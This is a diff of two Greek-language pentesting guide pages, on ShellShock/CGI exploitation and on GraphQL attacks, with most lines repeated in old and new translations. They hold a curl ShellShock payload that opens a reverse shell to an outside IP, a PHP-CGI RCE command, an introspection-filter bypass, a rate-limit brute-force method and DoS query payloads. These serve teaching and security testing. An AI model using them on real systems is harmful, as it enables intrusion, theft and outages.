Το **ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο **Bash** command-line shell σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει στην ικανότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια έγκειται στη χειραγώγηση των **μεταβλητών περιβάλλοντος**, οι οποίες είναι δυναμικές ονομαστικές τιμές που επηρεάζουν το πώς εκτελούνται οι διαδικασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσ attaching **κακόβουλο κώδικα** σε μεταβλητές περιβάλλοντος, ο οποίος εκτελείται μόλις ληφθεί η μεταβλητή. Αυτό επιτρέπει στους επιτιθέμενους να παραβιάσουν δυνητικά το σύστημα.
Εκμεταλλευόμενοι αυτή την ευπάθεια, η **σελίδα θα μπορούσε να ρίξει ένα σφάλμα**.
@ -28,7 +35,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## **Δοκιμή**
Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να περιμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του web. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις.
Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να περιμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του ιστού. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις.
**Nmap**
```bash
@ -61,13 +68,13 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM to Web server requests\)**
# **Proxy \(MitM σε αιτήματα web server\)**
CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στην http αίτηση. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP\_HOST"="web.com"
Το CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στην http αίτηση. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP\_HOST"="web.com"
Καθώς η μεταβλητή HTTP\_PROXY θα μπορούσε να χρησιμοποιηθεί από τον web server. Προσπαθήστε να στείλετε μια **κεφαλίδα** που περιέχει: "**Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;**" και αν ο server εκτελεί οποιαδήποτε αίτηση κατά τη διάρκεια της συνεδρίας. Θα είστε σε θέση να καταγράψετε κάθε αίτηση που γίνεται από τον server.
Καθώς η μεταβλητή HTTP\_PROXY θα μπορούσε να χρησιμοποιηθεί από τον web server. Προσπαθήστε να στείλετε μια **κεφαλίδα** που περιέχει: "**Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;**" και αν ο server εκτελεί οποιοδήποτε αίτημα κατά τη διάρκεια της συνεδρίας. Θα είστε σε θέση να καταγράψετε κάθε αίτημα που γίνεται από τον server.
# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
# Παλιό PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Βασικά, αν το cgi είναι ενεργό και το php είναι "παλιό" \(&lt;5.3.12 / &lt; 5.4.2\) μπορείτε να εκτελέσετε κώδικα.
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να αποκτήσετε πρόσβαση σε κάποιο αρχείο PHP του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\).
@ -81,6 +88,11 @@ curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:500
**Περισσότερες πληροφορίες σχετικά με την ευπάθεια και τις πιθανές εκμεταλλεύσεις:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρογνωμοσύνη σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,6 +15,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
## Εισαγωγή
Το GraphQL **τονίζεται** ως μια **αποτελεσματική εναλλακτική** στο REST API, προσφέροντας μια απλοποιημένη προσέγγιση για την ανάκτηση δεδομένων από το backend. Σε αντίθεση με το REST, το οποίο συχνά απαιτεί πολλές αιτήσεις σε διάφορα endpoints για τη συλλογή δεδομένων, το GraphQL επιτρέπει την ανάκτηση όλων των απαιτούμενων πληροφοριών μέσω μιας **μοναδικής αίτησης**. Αυτή η απλοποίηση **ωφελεί σημαντικά τους προγραμματιστές** μειώνοντας την πολυπλοκότητα των διαδικασιών ανάκτησης δεδομένων τους.
@ -36,7 +43,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
* `/graphql/api`
* `/graphql/graphql`
Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα εσωτερικής αναγνώρισης του GraphQL διευκολύνει αυτό, παρέχοντας λεπτομέρειες για τα ερωτήματα που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες σχετικά με αυτό, ανατρέξτε στην τεκμηρίωση του GraphQL σχετικά με την εσωτερική αναγνώριση: [**GraphQL: Μια γλώσσα ερωτημάτων για APIs.**](https://graphql.org/learn/introspection/)
Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα εσωτερικής αναγνώρισης του GraphQL διευκολύνει αυτό, παρέχοντας λεπτομέρειες για τα ερωτήματα που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες σχετικά με αυτό, ανατρέξτε στην τεκμηρίωση του GraphQL σχετικά με την εσωτερική αναγνώριση: [**GraphQL: Μια γλώσσα ερωτήσεων για APIs.**](https://graphql.org/learn/introspection/)
### Δακτυλοσκοπία
@ -48,13 +55,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
```javascript
query{__typename}
```
### Βασική Αρίθμηση
### Basic Enumeration
Το Graphql συνήθως υποστηρίζει **GET**, **POST** (x-www-form-urlencoded) και **POST**(json). Αν και για λόγους ασφαλείας συνιστάται να επιτρέπεται μόνο το json για να αποτραπούν οι επιθέσεις CSRF.
#### Εξερεύνηση
#### Introspection
Για να χρησιμοποιήσετε την εξερεύνηση για να ανακαλύψετε πληροφορίες σχήματος, ερωτήστε το πεδίο `__schema`. Αυτό το πεδίο είναι διαθέσιμο στον ριζικό τύπο όλων των ερωτήσεων.
Για να χρησιμοποιήσετε την introspection για να ανακαλύψετε πληροφορίες σχήματος, ερωτήστε το πεδίο `__schema`. Αυτό το πεδίο είναι διαθέσιμο στον ριζικό τύπο όλων των ερωτήσεων.
```bash
query={__schema{types{name,fields{name}}}}
```
@ -198,7 +205,7 @@ name
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
Μπορείτε να δείτε ότι τα αντικείμενα "_Flags_" αποτελούνται από **όνομα** και **τιμή**. Στη συνέχεια, μπορείτε να αποκτήσετε όλα τα ονόματα και τις τιμές των σημαίων με το query:
Μπορείτε να δείτε ότι τα αντικείμενα "_Flags_" αποτελούνται από **όνομα** και **τιμή**. Στη συνέχεια, μπορείτε να αποκτήσετε όλα τα ονόματα και τις τιμές των σημαιών με το query:
```javascript
query={flags{name, value}}
```
@ -241,7 +248,7 @@ query={hiddenFlags}
### Αναζήτηση
Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση**. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.
Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση** τους. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.
Μπορείτε να **αναζητήσετε** άτομα **με βάση** το **όνομα** και να λάβετε τα email τους:
```javascript
@ -276,7 +283,7 @@ name
}
}r
```
Ή ακόμη **σχέσεις διαφόρων διαφορετικών αντικειμένων χρησιμοποιώντας ψευδώνυμα**:
Ή ακόμη **σχέσεις αρκετών διαφορετικών αντικειμένων χρησιμοποιώντας ψευδώνυμα**:
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
@ -307,7 +314,7 @@ name
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομα** τους; **ταινίες** από το **όνομα** και την **αξιολόγηση** τους. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.
Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση** τους. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.
Μια μετάλλαξη για **δημιουργία νέων** ταινιών μέσα στη βάση δεδομένων μπορεί να είναι όπως η παρακάτω (σε αυτό το παράδειγμα η μετάλλαξη ονομάζεται `addMovie`):
```javascript
@ -369,7 +376,7 @@ releaseYear
## GraphQL Χωρίς Introspection
Όλο και περισσότεροι **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) για να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
Όλο και περισσότερα **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) για να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
@ -377,7 +384,7 @@ releaseYear
### Παράκαμψη αμυνών introspection του GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές γραμμές:
Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά τη λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, τα οποία το GraphQL αγνοεί αλλά μπορεί να μην ληφθούν υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές γραμμές:
```bash
# Example with newline to bypass
{
@ -415,7 +422,7 @@ ws.send(JSON.stringify(graphqlMsg));
```
### **Ανακάλυψη Εκτεθειμένων Δομών GraphQL**
Όταν η ανάλυση είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανά **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι:
Όταν η ανάλυση είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανώς **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -449,9 +456,9 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Για περισσότερες πληροφορίες **ελέγξτε το** [**αρχικό άρθρο εδώ**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Υπαγωγή Cross-site WebSocket στο GraphQL
## Υπαγωγή WebSocket μεταξύ ιστότοπων στο GraphQL
Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή Cross-site WebSocket για να εκμεταλλευτείτε μια αυθεντικοποίηση με GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL.
Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή WebSocket μεταξύ ιστότοπων για να εκμεταλλευτείτε μια αυθεντικοποίηση με GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL.
Για περισσότερες πληροφορίες ελέγξτε:
@ -483,13 +490,13 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL
Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API request. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός αιτήματος API. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
Για μια λεπτομερή κατανόηση των ψευδωνύμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP requests**. Ωστόσο, αυτοί οι περιοριστές ρυθμού μπορεί να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο HTTP request, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού.
Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των αιτημάτων HTTP**. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο αίτημα HTTP, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού.
Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ψευδώνυμα ερωτημάτων για να επαληθεύσουν την εγκυρότητα των κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP request, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτεί η εγκυρότητα των κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα αίτημα HTTP, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -504,11 +511,11 @@ valid
}
}
```
## DoS στο GraphQL
## DoS in GraphQL
### Υπερφόρτωση Ψευδωνύμων
### Alias Overloading
**Υπερφόρτωση Ψευδωνύμων** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλά ψευδώνυμα για το ίδιο πεδίο, προκαλώντας τον πίσω διακομιστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1.000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διακομιστή να το υπολογίσει 1.000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον backend resolver να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1.000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον backend να το υπολογίσει 1.000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
{% code overflow="wrap" %}
```graphql
@ -523,7 +530,7 @@ curl -X POST -H "Content-Type: application/json" \
### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες**
**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομάδα, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλαπλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομάδα, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
{% code overflow="wrap" %}
```graphql
@ -539,7 +546,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
### **Ευπάθεια Υπερφόρτωσης Οδηγιών**
**Υπερφόρτωση Οδηγιών** συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονική χρήση, οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
**Υπερφόρτωση Οδηγιών** συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονιακή χρήση, οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
{% code overflow="wrap" %}
```bash
@ -562,7 +569,7 @@ curl -X POST \
```
{% endcode %}
Μπορείτε επίσης να στείλετε ένα ερώτημα introspection για να ανακαλύψετε όλες τις δηλωμένες οδηγίες:
Μπορείτε επίσης να στείλετε ένα ερώτημα introspection για να ανακαλύψετε όλες τις δηλωμένες κατευθύνσεις:
```bash
curl -X POST \
-H "Content-Type: application/json" \
@ -573,7 +580,7 @@ curl -X POST \
### **Ευπάθεια Διπλασιασμού Πεδίου**
**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναλαμβανόμενα για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας GraphQL server επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον server να επιλύει το πεδίο επαναλαμβανόμενα για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -587,12 +594,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Δοκιμή κοινών κακοδιαρθρώσεων των graphql endpoints
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση ομαδικών ερωτημάτων και μεταλλάξεων GraphQL.
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Αναγνώριση του graphql που χρησιμοποιείται
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο εργαλείο ή [επέκταση Burp](https://github.com/doyensec/inql).
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλειοθήκη που μπορεί να χρησιμοποιηθεί για την απόκτηση σχημάτων και αναζήτηση ευαίσθητων δεδομένων, δοκιμή εξουσιοδότησης, βίαιη δύναμη σχημάτων και εύρεση διαδρομών σε έναν δεδομένο τύπο.
